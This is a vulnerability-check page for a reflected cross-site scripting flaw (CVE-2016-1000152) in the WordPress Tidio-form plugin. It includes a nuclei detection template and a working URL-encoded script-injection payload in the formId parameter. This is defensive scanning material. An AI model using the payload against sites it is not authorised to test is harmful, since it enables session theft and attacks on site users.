WordPress Tidio-form <=1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress tidio-form1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the Tidio-form plugin (version >1.0) to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/tidio-form/readme.txt
Positive when: contains "Easy Contact Form Builder ="
Send: GET {{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000152 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000152

info:
  name: WordPress Tidio-form <=1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress tidio-form1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the Tidio-form plugin (version >1.0) to mitigate the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=799
    - https://wordpress.org/plugins/tidio-form
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000152
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000152
    cwe-id: CWE-79
    epss-score: 0.04173
    epss-percentile: 0.90983
    cpe: cpe:2.3:a:tidio-form_project:tidio-form:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "tidio-form_project"
    product: "tidio-form"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,tidio-form_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/tidio-form/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Easy Contact Form Builder ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from